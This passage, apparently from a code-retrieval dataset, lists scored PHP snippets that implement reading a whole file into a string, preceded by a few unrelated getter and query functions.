PostProcess($item)\n {\n $module=$this->GetGET(\"ModuleName\");\n if ($module!=\"Areas\")\n {\n return $item;\n }\n\n if (!isset($item[ \"ID\" ]) || $item[ \"ID\" ]==0) { return $item; }\n\n $updatedatas=array();\n \n if (count($updatedatas)>0)\n {\n $this->Sql_Update_Item_Values_Set($updatedatas,$item);\n }\n \n return $item;\n }", "title": "" }, { "docid": "bef242aa231ca5ef3533bdcee3fa0506", "score": "0.5481222", "text": "function queryOrderTmpItem($idOrderTmp_, $idCategoProd_){\n global $db;\n global $sellerID;\n \n $orderActiTmp = $db->subQuery (\"o\");\n $orderActiTmp->where (\"id_account_user\", $sellerID);\n $orderActiTmp->where (\"id_solici_promo\", $idOrderTmp_); \n $orderActiTmp->get(\"solicitud_pedido_temp\");\n\n $db->join($orderActiTmp, \"o.id_solici_promo = epl.id_solici_promo\"); \n $db->where (\"id_catego_prod\", $idCategoProd_);\n $db->orderBy(\"epl.id_espci_prod_pedido\",\"desc\");\n $listprodTmp = $db->get (\"especifica_prod_pedido epl\", null, \"o.representante_empresa, o.id_solici_promo, epl.id_espci_prod_pedido , epl.id_producto, epl.cant_pedido, epl.precio_costo, epl.id_catego_prod, epl.id_subcatego_producto\");\n \n $resuListProdTmp = count($listprodTmp);\n if ($resuListProdTmp > 0){\n foreach ($listprodTmp as $lptkey) { \n $orderTmp_actiOne[] = $lptkey; \n }\n return $orderTmp_actiOne;\n }\n \n}", "title": "" }, { "docid": "7c9165a2844d43d653794fa50fd2b56d", "score": "0.5473554", "text": "public function getOrder_id()\n {\n return $this->order_id;\n }", "title": "" }, { "docid": "1b8815e50cc5052f2e53955cc575d7b8", "score": "0.5468354", "text": "public function genererIdItem() {\n\t\n\t\t$this->log->debug(\"Projet::genererIdItem() Début\");\n\t\n\t\t$id = $this->genererId(\"id_item\");\n\t\n\t\t$this->log->debug(\"Projet::genererIdItem() Fin\");\n\t\treturn $id;\n\t}", "title": "" }, { "docid": "b171bb414aaa7c08f1002a1806d007f3", "score": "0.5455283", "text": "public function is(Item $item): bool\n {\n return $this->id() === $item->id();\n }", "title": "" }, { "docid": "1628c9a815a26317982d5272f81e7af8", "score": "0.5454496", "text": "public function getLineItemId();", "title": "" }, { "docid": "bd91e70d78ebc4b6289d04fb33358e36", "score": "0.545421", "text": "public function getItemOrder()\n {\n return $this->item_order;\n }", "title": "" } ]
0959c6b92b0e244c1508f64fe168a9b0
Reads entire file into a string
[ { "docid": "82f03fc3616b0d66cbbaa0ff2f187295", "score": "0.0", "text": "public function get_contents($file) {\n\t\tif( $this->authorized() ) {\n\t\t\treturn parent::get_contents( $file );\n\t\t} else{\n\t\t\treturn false;\n\t\t}\n\t}", "title": "" } ]
[ { "docid": "f3be0a1eae51712bd19b19e1f59855bb", "score": "0.72391224", "text": "private function sreadfile($filename) {\n\t\t$content = '';\n\t\tif (function_exists('file_get_contents')) {\n\t\t\t@$content = file_get_contents($filename);\n\t\t} else {\n\t\t\tif (@$fp = fopen($filename, 'r')) {\n\t\t\t\t@$content = fread($fp, filesize($filename));\n\t\t\t\t@fclose($fp);\n\t\t\t}\n\t\t}\n\t\treturn $content;\n\t}", "title": "" }, { "docid": "b2f546a30b2bdf3bb76f126a03e1fe92", "score": "0.7236631", "text": "function getFileStr() {\r\n\t\tglobal $file;\r\n\r\n\t\t$string = \"\";\r\n\r\n\t\t$fp = fopen($file, \"r\");\r\n\t\tflock($fp, LOCK_SH);\r\n\t\twhile(!feof($fp)) {\r\n\t\t\t$buf = fgets($fp);\r\n\t\t\t$string .= $buf;\r\n\t\t}\r\n\t\tflock($fp, LOCK_UN);\r\n\t\tfclose($fp);\r\n\r\n\t\treturn $string;\r\n\t}", "title": "" }, { "docid": "6aa295fd1bbf21596ef31a5cb159c7f0", "score": "0.72306454", "text": "public static function fileToString($filename) {\n $contents = '';\n if (file_exists($filename)) {\n $handle = fopen($filename, \"r\");\n if (filesize($filename) > 0) {\n $contents = fread($handle, filesize($filename));\n fclose($handle);\n }\n }\n return $contents;\n }", "title": "" }, { "docid": "5361b8cf1c7b1da993d412cd2a6bea65", "score": "0.7147787", "text": "function readfile($file) {\n clearstatcache(TRUE, $file);\n if(function_exists(\"file_get_contents\")&&file_exists($file)) {\n return file_get_contents($file);\n } else {\n $string = \"\";\n\n $file_handle = @fopen($file, \"r\");\n if(!$file_handle) {\n return false;\n }\n while (!feof($file_handle)) {\n $line = fgets($file_handle);\n $string .= $line;\n }\n fclose($file_handle);\n\n return $string;\n }\n }", "title": "" }, { "docid": "96c7e492666b1f138f251f696bc9d3d1", "score": "0.7028341", "text": "function file_get_contents($file) {\n\t\treturn join('', file($file));\n\t}", "title": "" }, { "docid": "e058f77321ff77c0caee49741695d095", "score": "0.6998337", "text": "public function readFile(string $filename): string;", "title": "" }, { "docid": "99623add34e6b6ec4f2f1cfd13bd6031", "score": "0.69401246", "text": "protected function readFile(UploadedFileInterface|string $file): string\n {\n if (is_string($file)) {\n $content = (string)file_get_contents($file);\n } else {\n $content = (string)$file->getStream();\n }\n\n return chunk_split(base64_encode($content));\n }", "title": "" }, { "docid": "e5ae0cd769e6cf69bc74ae5d876bf0a6", "score": "0.6937655", "text": "function readFile( $file, $binary = false )\n\t{\n\t\t$content = '';\n\t\tif ( file_exists( $file ) )\n\t\t{\n\t\t\t$handle = @fopen( $file, 'rb' ); \n\t\t\tif ( is_resource( $handle ) ) \n\t\t\t{\n\t\t\t\twhile ( false !== ( $c = fgetc( $handle ) ) )\n\t\t\t\t{\n\t\t\t\t\t$content .= $c;\n\t\t\t\t}\n\t\t\t\tfclose( $handle ); \n\t\t\t}\n\t\t}\n\t\treturn $content;\n }", "title": "" }, { "docid": "c48133ae21ee9cf4f927f4cb70077daf", "score": "0.6917724", "text": "public function readFromFile($filename)\n {\n if (is_string($filename) && !empty($filename)) {\n $filename = str_replace(\"\\0\", '', $filename);\n\n $filename = realpath($filename);\n\n if (!empty($filename)) {\n clearstatcache(true, $filename);\n }\n\n if ($filename === false || !file_exists($filename) || !is_readable($filename) || !is_file($filename)) {\n return '';\n }\n\n return (string)@file_get_contents($filename);\n }\n\n return '';\n }", "title": "" }, { "docid": "111762c303b36ede694b7f786a821555", "score": "0.6914037", "text": "public function read(string $filename): string;", "title": "" }, { "docid": "f0d903b85a36fae46c1b093bd622d9bd", "score": "0.6891708", "text": "public function readFile($file) {\n\t\tif (!file_exists($file)) {\n\t\t\tthrow new Exception('File '.$file.' does not exist from '.\n\t\t\t\t$this->className.'->'.__FUNCTION__.'() line '.__LINE__\n\t\t\t);\n\t\t} else {\n\t\t\ttry {\n\t\t\t\t$handle \t= fopen($file, 'r');\n\t\t\t\t$string \t= NULL;\n\t\t\t\t\n\t\t\t\twhile (!feof($handle)) {\n\t\t\t\t\t$string .= fgets($handle, 1024);\n\t\t\t\t} //<-- end while -->\n\t\t\t\t\n\t\t\t\tfclose($handle);\n\t\t\t\treturn $string;\n\t\t\t} catch (Exception $e) { \n\t\t\t\tthrow new Exception($e->getMessage().' from '.$this->className\n\t\t\t\t\t.'->'.__FUNCTION__.'() line '.__LINE__\n\t\t\t\t);\n\t\t\t} //<-- end try -->\n\t\t} //<-- end if -->\n\t}", "title": "" }, { "docid": "0b47afa3a02547e76ce35af54b2e4577", "score": "0.68760866", "text": "public function read(): string\n {\n // Open\n if (false === $this->handle = fopen($this->path, 'c+')) {\n throw new RuntimeException(\"Failed to open file {$this->path}.\");\n }\n // Read\n if (false === $data = fread($this->handle, $this->length)) {\n throw new RuntimeException(\"Failed to read file {$this->path}.\");\n }\n // Close\n fclose($this->handle);\n\n return $data;\n }", "title": "" }, { "docid": "51e6ae4aedf53d4637ea99655e0a29ac", "score": "0.6848462", "text": "function readFile ($filename)\n {\n if (!strlen($filename))\n v4b_exit (\"FileUtil::readFile: filename is empty\");\n\n return file_get_contents($filename);\n }", "title": "" }, { "docid": "2524426cc4a75e0f67df7f1868e441bf", "score": "0.6808966", "text": "public static function read($file)\n\t{\n\t\t$info = self::getInfo($file);\n\t\tif (!$info->exists)\n\t\t{\n\t\t\tthrow new \\Exception('File does not exist');\n\t\t}\n\t\tif (!$info->size)\n\t\t{\n\t\t\treturn '';\n\t\t}\n\t\t$handle = fopen($file,'r');\n\t\t$output = fread($handle,filesize($file));\n\t\tfclose($handle);\n\t\treturn $output;\n\t}", "title": "" }, { "docid": "aeec1192f9c7876d3675764e8eb7e3f3", "score": "0.6720591", "text": "public function read() {\n return file_get_contents($this->_filename);\n }", "title": "" }, { "docid": "e7139b0fbd65a91e64fb1004408193e2", "score": "0.67178965", "text": "function comp_file_get_contents($filename) {\n\treturn implode(\"\", file($filename));\n}", "title": "" }, { "docid": "95a66447db733c7fa85fdbf199196bac", "score": "0.66546756", "text": "function ReadFromFile($filename) {\n $content = @file_get_contents($filename);\n return $content;\n}", "title": "" }, { "docid": "d461bcf618b613bad4f9b9b43755e710", "score": "0.6650414", "text": "function readFromFile($sPath)\n\t{\n\t\tif(file_exists($sPath) == false)\n\t\t{\n\t\t\treturn '';\n\t\t}\n\n\t\treturn file_get_contents($sPath);\n\t}", "title": "" }, { "docid": "2d23c80bd57783e7acc4aafc395834d2", "score": "0.66379166", "text": "private function _read($filename)\n\t{\n\t\tif ( !$h = @fopen($filename, 'rb') )\n\t\t\treturn false; \n\n\t\t$buffer = ''; \n\t\twhile ( !feof($h) )\n\t\t\t$buffer .= fread($h, 1024);\n\n\t\tfclose($h);\n\t\treturn $buffer;\n\t}", "title": "" }, { "docid": "c24a840d4fd1fb063fe862529a9cb9f8", "score": "0.66378057", "text": "public function read( ) {\n return file_get_contents( $this->getFile() );\n }", "title": "" }, { "docid": "98b9042a378ec8927107da6f42cd3da8", "score": "0.6585771", "text": "function read_file($filename) \r\n\t{\r\n\t\t$filename = $this->root . $filename;\r\n\r\n\t\tif (!file_exists($filename))\r\n\t\t{\r\n\t\t\t$this->error(\"phemplate::read_file(): file $filename does not exist.\", 'fatal');\r\n\t\t\treturn '';\r\n\t\t}\r\n\r\n\t\t$tmp = false;\r\n\t\t\r\n\t\t$filesize = filesize($filename);\r\n\t\tif ($filesize)\r\n\t\t{\r\n\t\t\t$tmp = fread($fp = fopen($filename, 'r'), $filesize);\r\n\t\t\tfclose($fp);\r\n\t\t}\r\n\t\treturn $tmp;\r\n\t}", "title": "" }, { "docid": "b76403336b5fcc70318bfd8d3d27886c", "score": "0.657747", "text": "public function getFileContent()\n {\n if (!is_file($this->getPath())) {\n return '';\n }\n\n return file_get_contents($this->getPath());\n }", "title": "" }, { "docid": "e72351ee5cac4d70c2b656884228ccb0", "score": "0.65756804", "text": "function getFileContents($filename)\n{\n $handle = fopen($filename, 'r');\n if ($handle === false) {\n echo \"Error: cant find $filename\\n\";\n die();\n }\n $contents = trim(fread($handle, filesize($filename) ) );\n fclose($handle);\n return $contents;\n}", "title": "" }, { "docid": "e2084caee3bd5e1611acb9927f3ced7e", "score": "0.6574325", "text": "function read_file($filename){\n\t$handle = fopen($filename, \"r\");\n\t$filesize = filesize($filename);\n\tif ($filesize > 0){\n \t$contents = fread($handle, $filesize);\n \t$contents = explode (\"\\n\", $contents);\n\t}\n\telse {\n\t\t$contents = [];\n\t}\n fclose($handle);\n return $contents; \n}", "title": "" }, { "docid": "48f5d021b3a48ef3fa051d88fed2c01f", "score": "0.651277", "text": "function readFileIntoString ($fileName, &$s) {\n if (function_exists('version_compare') && version_compare(phpversion(),\"4.3.0\",\">=\")) {\n $s = file_get_contents($fileName);\n if ($s === false) return false;\n return true; }\n $fh = fopen($fileName,\"rb\");\n if ($fh === false) return false;\n $fileSize = filesize($fileName);\n if ($fileSize === false) {close ($fh); return false; }\n $s = fread($fh,$fileSize);\n fclose ($fh);\n if (strlen($s) != $fileSize) return false;\n return true; }", "title": "" }, { "docid": "8e7da46be0cb9e6fc0d41f9c006f7f06", "score": "0.64809054", "text": "public function readFile($file) {\n\t\treturn $this->read(file_get_contents($file));\n\t}", "title": "" }, { "docid": "01568908842c0a97b1ed60529fce32ae", "score": "0.64418674", "text": "public function getContents()\n {\n $result = '';\n while ($r = @fread($this->file, 8192)) {\n $result .= $r;\n }\n if ($r === FALSE) {\n throw new RuntimeException(\"Stream is not readable\");\n }\n return $result;\n }", "title": "" }, { "docid": "711372fc18d27046e48284c4a08a8b61", "score": "0.64372545", "text": "public static function readFile ($path, $as_array = false) {\n\n\t// overwrite?\n\tif (!file_exists($path)) return ($as_array) ? array() : '';\n\n\t// read file\n\t$content = file($path);\n\n\t// return\n\treturn ($as_array) ? $content : trim(implode('', $content));\n }", "title": "" }, { "docid": "c5d5d1f0a99dd65f7493822f0bd6aaa4", "score": "0.643131", "text": "public function getContents($file);", "title": "" }, { "docid": "88fdebd6a9f0d23c8a04ccbab7754f90", "score": "0.6416398", "text": "public function getContents()\n {\n if (file_exists($this->name) == true) {\n return file_get_contents($this->name);\n }\n \n return '';\n }", "title": "" }, { "docid": "22dd4e5722f63110bfc6a20041d03963", "score": "0.63409114", "text": "public function getContents($filename){\n return file_get_contents($filename);\n }", "title": "" }, { "docid": "1130857163310bccb22b65c4e5c1745d", "score": "0.6338367", "text": "function read_file($file)\n{\n if (! $content = @file_get_contents($file)) {\n exit(\"cannot read $file\");\n }\n\n return $content;\n}", "title": "" }, { "docid": "ccd1ef88e9c6e0e512b56eea5aef41af", "score": "0.6336476", "text": "function read($file,$lf=FALSE) {\n\t\t$out=@file_get_contents($file);\n\t\treturn $lf?preg_replace('/\\r\\n|\\r/',\"\\n\",$out):$out;\n\t}", "title": "" }, { "docid": "6f9671f48927313b4cb33592e8a2ce7b", "score": "0.6329404", "text": "public function readString()\n {\n return $this->readBytes();\n }", "title": "" }, { "docid": "bb8ec036d60735c558a1be19b7441029", "score": "0.63224375", "text": "function read_file($file) {\n\t$handle = fopen($file, \"r\");\n\t\t$contents = fread($handle, filesize($file));\n\tfclose($handle);\n\treturn explode(\"\\n\", $contents);\n}", "title": "" }, { "docid": "0b510335abade26b3fbf930360638578", "score": "0.6317746", "text": "protected function fileGetContents(string $fileSubPath): string\n {\n foreach ($this->paths as $path) {\n $finalPath = rtrim($path, '/\\\\') . '/' . trim($fileSubPath, '/\\\\');\n if (file_exists($finalPath)) {\n return file_get_contents($finalPath);\n }\n }\n // @codeCoverageIgnoreStart\n return '';\n }", "title": "" }, { "docid": "8aee696e793746b9d439d01127ba80bd", "score": "0.63140786", "text": "protected static function readFile($path)\n {\n return (new Filesystem())->get($path);\n }", "title": "" }, { "docid": "ce052e8cc4e481566165455dfa7946bd", "score": "0.6295145", "text": "public static function getFileContent($path)\n {\n $f = fopen($path, 'rb');\n if (!is_resource($f)){\n throw new Exception(\"Disabled to open file : \".$path);\n }\n\n $data = '';\n while (!feof($f)) {\n $data .= fread($f, 1024);\n }\n fclose($f);\n return $data;\n }", "title": "" }, { "docid": "71378939806fd534f53e88d8296377fd", "score": "0.62906915", "text": "public function readAll()\n\t{\n\t\t$data = '';\n\t\twhile ($read = $this->read($this->maxReadBytes, false)) {\n\t\t\t$data .= $read;\n\t\t}\n\n\t\treturn $data;\n\t}", "title": "" }, { "docid": "596ef75e28eb3f479c2d5713daf2c0f1", "score": "0.6289883", "text": "protected function fileGetContents($file)\n {\n return file_get_contents($file);\n }", "title": "" }, { "docid": "a8e2bc6ddf5692b077264e17feaa2cc0", "score": "0.62823284", "text": "private function getFileContent($file)\n {\n $fileHandle = fopen($file, 'r');\n $fileContent = fread($fileHandle, filesize($file));\n fclose($fileHandle);\n return $fileContent;\n }", "title": "" }, { "docid": "b11bbe7bdfe31b989068a38a27401d96", "score": "0.6274884", "text": "protected function readFile( $path ) {\n\n if( !is_readable( $this->_base . $path ) ) throw new Exception\\System( self::EXCEPTION_INVALID_READ, [ 'path' => $path ] );\n else {\n\n // FIXME do not read large files! (or check for the memory)\n\n $content = @file_get_contents( $this->_base . $path );\n if( $content === false ) throw new Exception\\System( self::EXCEPTION_FAIL_READ, [ 'path' => $path, 'error' => error_get_last() ] );\n else return $content;\n }\n }", "title": "" }, { "docid": "a41ce99f0e7e96636ced157fabd9b485", "score": "0.627277", "text": "public function read()\n {\n return file_get_contents($this->_path);\n }", "title": "" }, { "docid": "24404ccc65563f9d8ab058b29a77c12f", "score": "0.62726206", "text": "function readFiles($fn){\n wlog(\"function readFile[\".$fn.\"]\");\n $str = \"\";\n if(trim($fn)!=\"\"){\n if(is_file($fn)){\n\t $fp = fopen($fn, \"a+\");\n if(is_readable($fn))\n\t $str = fread($fp,filesize($fn));\n fclose($fp);\n\t }//if(is_file($path))\n }// if(trim($path)!=\"\")\n \n return $str;\n}", "title": "" }, { "docid": "48e52a8e187aadfc8e2598417f8792e3", "score": "0.626134", "text": "public function readFile($filename)\n {\n $contents = file_get_contents($filename);\n if (false === $contents) {\n throw new IOException(\"Unable to read file \" . $filename);\n }\n\n return $contents;\n }", "title": "" }, { "docid": "8b3e53d2ed8da88773c03ec965c2545c", "score": "0.62495", "text": "protected function readFile($file)\n {\n $content = @gzfile($file);\n if (! $content) {\n if (! file_exists($file)) {\n throw new AutoloaderException_Index_IO_FileNotExists($file);\n\n }\n\n $error = error_get_last();\n\n if (! @file_get_contents($file)) {\n throw new AutoloaderException_Index_IO(\n \"Could not read '$file': $error[message]\"\n );\n\n } else {\n throw new AutoloaderException_Index_IO(\n \"Could not decompress '$file': $error[message]\"\n );\n\n }\n }\n return implode('', $content);\n }", "title": "" }, { "docid": "d1df70b68e821c60320f2040579f8a54", "score": "0.62262493", "text": "public static function getContentFile($path){\n if(!file_exists($path)){\n self::writeFile($path,'');\n }\n $handle = fopen($path, \"rb\");\n if (FALSE === $handle) {\n $handle = fopen($path, \"rb\");\n }\n $contents = '';\n while (!feof($handle)) {\n $contents .= fread($handle, 8192);\n }\n fclose($handle);\n return $contents;\n }", "title": "" }, { "docid": "ae8a385022632bd391bafca07103a058", "score": "0.62040704", "text": "function Get_File_Contents($fileName)\n{\n //return 'hello';\n $fileHandle = fopen($fileName, \"r\");\n $fileContents = fread($fileHandle, filesize($fileName));\n fclose($fileHandle);\n return $fileContents;\n}", "title": "" }, { "docid": "5964f357ca973530b34e2c3e17709d2c", "score": "0.6185244", "text": "private function readFile($path)\n\t{\n\t\tif (!file_exists($path)) {\n\t\t\tthrow new \\Exception('Unable to read file: ' . $path);\n\t\t}\n\t\treturn file_get_contents($path);\n\t}", "title": "" }, { "docid": "19d2e6777c51fb7cc80e2040e50983a5", "score": "0.617625", "text": "public function read(): string;", "title": "" }, { "docid": "19d2e6777c51fb7cc80e2040e50983a5", "score": "0.617625", "text": "public function read(): string;", "title": "" }, { "docid": "32d88751dbaf173b40e022d9ff7d26b5", "score": "0.6144132", "text": "function tool_sync_read($filereader, $length, &$config) {\n $input = fgets($filereader, $length);\n\n if (@$config->encoding != 'UTF-8') {\n return utf8_encode($input);\n }\n return $input;\n}", "title": "" }, { "docid": "5c49a87cc44bd390affb0d5341564727", "score": "0.61364186", "text": "public function read(string $path): string\n {\n if (!is_file($path) || !is_readable($path)) {\n throw new IOException(sprintf(\n 'File [%s] cannot be read',\n $path\n ));\n }\n $realPath = (string)$this->absPath($path);\n\n if (($fp = @fopen($realPath, 'rb')) === false) {\n throw new IOException(sprintf(\n 'Failed to open file [%s]',\n $realPath\n ));\n }\n\n try {\n if (flock($fp, \\LOCK_SH)) {\n if (($data = fread($fp, filesize($realPath))) === false) {\n throw new IOException(sprintf(\n 'Failed to read file [%s]',\n $realPath\n ));\n }\n return $data;\n }\n } finally {\n flock($fp, \\LOCK_UN);\n fclose($fp);\n }\n }", "title": "" }, { "docid": "a74419ca6d1dbefe2dcaa6f35782a0fb", "score": "0.61022407", "text": "public function read($path) {\n return file_get_contents($path);\n }", "title": "" }, { "docid": "33d321f9b2433b1e98ac8116a0decf78", "score": "0.609817", "text": "function readFromFile($organ, $file) \n{\n $path = REPORTDIR . SUBUNPUBLISHED . $organ . '/' . $file ;\n if (is_file($path)) {\n $text = file_get_contents($path);\n }\n return $text;\n}", "title": "" }, { "docid": "650d66b2804fc45064bfd7c7d552e2ad", "score": "0.60977536", "text": "private function readString()\n {\n \n $str = '';\n \n while(true)\n {\n if(!$this->buffer->canReadBytes(1))\n {\n break;\n }\n \n $char = $this->buffer->readInt8();\n \n if($char == \"\\0\")\n {\n break;\n }\n \n $str .= chr($char);\n }\n \n return $str;\n }", "title": "" }, { "docid": "85729bca085363724346f349d0132503", "score": "0.6089655", "text": "public static function readFile($path) {\n $path = self::resolvePath($path);\n $data = @file_get_contents($path);\n if ($data === false) {\n throw new Exception(pht(\"Failed to read file '%s'.\", $path));\n }\n\n return $data;\n }", "title": "" }, { "docid": "c5913bb2d47634da1fb766c82f703e79", "score": "0.6084642", "text": "function CargarTxt($file_name)\n{\n $ret = [];\n\n if(file_exists($file_name) && filesize($file_name) > 0){\n \n $file = fopen($file_name, \"r\");\n\n $data = fread($file, filesize($file_name)); \n \n $ret = explode(\"\\n\", $data);\n\n fclose($file);\n }\n \n return $ret;\n}", "title": "" }, { "docid": "16238ab6a97372ca34a2827127071e8d", "score": "0.60786396", "text": "protected function read_file($filename)\n\t{\n\t\t$basedir = realpath(__DIR__.'/../../../data/os/linux');\n\n\t\treturn file_get_contents($basedir.$filename);\n\t}", "title": "" }, { "docid": "e5d3a9379e0de1ea11f0dfb9e8fbf0cf", "score": "0.6068003", "text": "protected function getFileContent($filename)\n {\n return file_get_contents($filename);\n }", "title": "" }, { "docid": "91832242518381abda33c8d1713684e7", "score": "0.60592127", "text": "function file_get_contents($filename=false)\n\t{\n\t\tif (!is_file($filename) || !is_readable($filename)) {\n\t\t\treturn false;\n\t\t}\n\t\t$handle = fopen($filename, \"r\");\n\t\t$contents = fread($handle, filesize($filename));\n\t\tfclose($handle);\n\t\treturn $contents;\n\t}", "title": "" }, { "docid": "4d545d0625e44892a380951ee89f62e0", "score": "0.60493535", "text": "private function getFileContents($data)\n {\n $contents = '';\n foreach ($data as $line) {\n $contents .= $line;\n }\n\n $encoding = strtolower($this->encoding);\n if ($encoding !== 'utf-8') {\n $contents = iconv($encoding, 'utf-8//IGNORE//TRANSLIT', $contents);\n }\n\n return $contents;\n }", "title": "" }, { "docid": "357d581cbf17a598be990438e79f9af6", "score": "0.6041635", "text": "private function readToContents() {\r\n $contents = file_get_contents($this->filename);\r\n if (!$contents) {\r\n throw new Errorexp('get file: <' .$this->filename . '> contents error', $this);\r\n }\r\n $linenum = 0;\r\n $line = strtok($contents, \"\\n\");\r\n while ($line) {\r\n ++$linenum;\r\n $this->contents[] = $line;\r\n $line = strtok(\"\\n\");\r\n }\r\n $this->contents = &$contents;\r\n $this->linenum = $linenum;\r\n }", "title": "" }, { "docid": "baf9722d1601ff8e9a9df0d7383800a4", "score": "0.60408306", "text": "public function readFile($file = null)\n\t{\n\t\t$path = $this->_root . DIRECTORY_SEPARATOR . $file;\n\t\tif (is_file($path))\n\t\t{\n\t\t\treturn file_get_contents($path);\n\t\t}\n\t\treturn false;\n\t}", "title": "" }, { "docid": "f227153b5d952723e99dfefa11e8b705", "score": "0.6039117", "text": "function safeReadFile($path)\n{\n\techo htmlspecialchars(file_get_contents($path));\n}", "title": "" }, { "docid": "351e66efff8e4e4c259d9e7768580602", "score": "0.6034146", "text": "function getFileContents($txtfil)\n{\n //open a file and assign contents to a variable\n if (!file_exists($txtfil))\n {\n \t$raw_text = \"nofilefound\";\n }\n else\n {\t\n $raw_text = file_get_contents( $txtfil );\n }\n return $raw_text;\n}", "title": "" }, { "docid": "5f170088d9ee3579810318efcbbce624", "score": "0.6026578", "text": "public function read_string() { return $this->read_bytes(); }", "title": "" }, { "docid": "1275b504760664dab7830f1a9c512550", "score": "0.602343", "text": "function read_file ($file)\r\r\n// file einlesen\r\r\n{\r\r\n\tif (file_exists($file) && is_file($file)){\r\r\n\t\t$handle = fopen($file,\"r\");\r\r\n\t\tif (filesize($file) > 0){\r\r\n\t\t\t$object = fread($handle,filesize($file));\r\r\n\t\t}\r\r\n\t\telse {$object = \"file is empty\";}\r\r\n\t}\r\r\n\telse {$object = \"file not found\";}\r\r\n\treturn $object;\r\r\n}", "title": "" }, { "docid": "072f8aa1edf9c506b3410f9fb7d95919", "score": "0.60137", "text": "public function readFile($strFileName)\n {\n $fp = $this -> openFile($strFileName, \"r\");\n\n $strData;\n\n if($fp)\n {\n while(!feof($fp))\n {\n $strData .= fgets($fp, 4096);\n }\n }\n\n $this -> closeFile($fp);\n \n return $strData;\n }", "title": "" }, { "docid": "3c5de5292001849a8183a805d55c2a9c", "score": "0.6001306", "text": "public function getFileContent($filePath): string\n {\n return file_get_contents($this->rootDir . '/' . $filePath);\n }", "title": "" }, { "docid": "bd5c5d168d29ecd135e59ad19da1a7ae", "score": "0.5995201", "text": "public function getContent(): string{\n return file_get_contents($this->file); \n }", "title": "" }, { "docid": "cfa5879e0869fb0b6daf0f1717088130", "score": "0.59909576", "text": "public function readAll(): string;", "title": "" }, { "docid": "fc08e808509710f89954bd277a3fa0a5", "score": "0.59902763", "text": "function read_utf8_file($file)\n {\n if(file_exists($file) && false!==$handle = @fopen($file, \"rb\"))\n {\n $contents = false;\n while (!feof($handle)) {\n if($contents===false)\n {\n $c = fread($handle, 3);\n $contents=(strtoupper(bin2hex($c))=='EFBBBF') ? '' : $c;\n }\n else\n {\n $contents .= fread($handle, 8192);\n }\n }\n fclose($handle);\n return $contents;\n }\n return false;\n }", "title": "" }, { "docid": "5b020e5ae93ed63b851f3b38b37c6510", "score": "0.5988028", "text": "private function readFileAsArray()\n {\n return file($this->getFolder() . $this->filename);\n }", "title": "" }, { "docid": "5e891989f60eb6735beec86bc131cfbc", "score": "0.5982049", "text": "function displayFileContents($fileName){\n//echo $path;\n $path = '/var/www/proceduralRefactored/logs/';\n $fileToRead = $path.$fileName;\n $fh = fopen($fileToRead,'r');\n $data = fread($fh, filesize($fileToRead));\n fclose($fh);\n return $data;\n}", "title": "" }, { "docid": "689fb957ef3f18cca6a8f86787b82c06", "score": "0.59809107", "text": "abstract protected function readFile($filename);", "title": "" }, { "docid": "4683d65fe3764492a7c7f0f4d60c5f17", "score": "0.59763527", "text": "public function read($path)\n {\n return file_get_contents($path);\n }", "title": "" }, { "docid": "184a9f9768e802e080f2b2d177840195", "score": "0.59626746", "text": "public function getString(){\n return implode(\"\\n\",array_values($this->file));\n }", "title": "" }, { "docid": "3d594582b74be3c4e95cd7f3d19936f7", "score": "0.5951156", "text": "public function readFilePath () {\n if ($this->pathExists->toBoolean () == TRUE) {\n # Return the number of read chars, and output the content;\n return new I (readfile ($this->varContainer));\n }\n }", "title": "" }, { "docid": "50150eb2b08cde0454666e0ad0d166f2", "score": "0.59475654", "text": "private function getFileContent($filePath) {\n return trim(file_get_contents($filePath));\n }", "title": "" }, { "docid": "ef0e93e7c66ed8921d9ed5fa9a637bf2", "score": "0.59351647", "text": "function ReadFile($filename) {\r\n$file=fopen($filename, \"r\"); #OPEN FILE FOR READING\r\nif($file) {\r\n\twhile(!feof($file)) {\r\n\t\t$rf[]=fgets($file, 1024);\t#ADDING STRING TO THE ARRAY\r\n\t}\r\n\tfclose($file);\r\n\treturn $rf;\r\n} else {\r\n\t$this->readError=\"ERROR: Cannot open file $filename\";\t#ERROR IF CANNOT OPEN FILE\r\n\treturn FALSE;\r\n}\r\n}", "title": "" }, { "docid": "a74b2afc159b0295c621d81507fbf27d", "score": "0.5932137", "text": "abstract public function read(): string ;", "title": "" }, { "docid": "218d20aaa24358850c5c922ba7c08755", "score": "0.5930393", "text": "function f_read($file_a, $file_b) {\n $file_v = $GLOBALS['dir_tmp'] . \"screen/\" . $file_a;\n\n $file_open = fopen($file_v, \"r\") or die(\"Unable to open file!\");\n $text_view = fread($file_open,filesize($file_v));\n fclose($file_open);\n\n return $text_view;\n}", "title": "" }, { "docid": "a3fef4d0eccfaf39c3597c6eb160ad51", "score": "0.5920916", "text": "abstract protected function readFile( $fileName );", "title": "" }, { "docid": "0458dc87a69d317706b8e7f6a39ddfb9", "score": "0.5915648", "text": "function file_getContents($fileName) {\n\n //Try to get a file handle\n try{\n $fileHandle = fopen($fileName,'r');\n if(!$fileHandle){\n throw new Exception(\"Could not open a file\");\n } \n \n //Try to read in the file\n $contents = fread($fileHandle,filesize($fileName));\n if(empty($contents)){\n throw new Exception(\"File is empty\");\n }\n }\n //If there was a problem throw an Exception\n catch(Exception $ex){\n echo $ex->getMessage();\n }\n \n //Finally close the filehandle\nfclose($fileHandle);\n\nreturn $contents;\n}", "title": "" }, { "docid": "0fa38f03fefe3093841c1300b2cbc1fa", "score": "0.5914265", "text": "protected function getFileContent($fileName)\n {\n return file_get_contents($fileName);\n }", "title": "" }, { "docid": "e399d5f63ebebc38108df1b7b241934d", "score": "0.5913843", "text": "function readText(){\n $data = Utility::readText(\"number.txt\");\n return $data;\n }", "title": "" }, { "docid": "118a66da73b6174a4b4847a20e4d1487", "score": "0.5887248", "text": "public function read(string $name): string\n {\n $filename = $this->addPathPrefix($name);\n\n if ($this->connection->is_file($filename)) {\n return $this->connection->get($filename);\n }\n throw new FileNotFoundException(sprintf('File %s does not exist', $name));\n }", "title": "" }, { "docid": "54cea2c3a10c42e6a2bd0e409472f8e6", "score": "0.58846027", "text": "public function load(string $file): string;", "title": "" }, { "docid": "ea08acf1c807b9883d9caff9e7d78199", "score": "0.58815134", "text": "public function getContents($file)\n {\n return normalize_line_endings(file_get_contents($this->getPath($file)));\n }", "title": "" }, { "docid": "a2f4adf97051d0c5ca1ae2edddced572", "score": "0.58786035", "text": "private function getFileContents($file) {\n if (file_exists($file) === FALSE) {\n return NULL;\n }\n\n $contents = file_get_contents($file);\n if ($contents === FALSE) {\n return NULL;\n }\n\n return $contents;\n }", "title": "" }, { "docid": 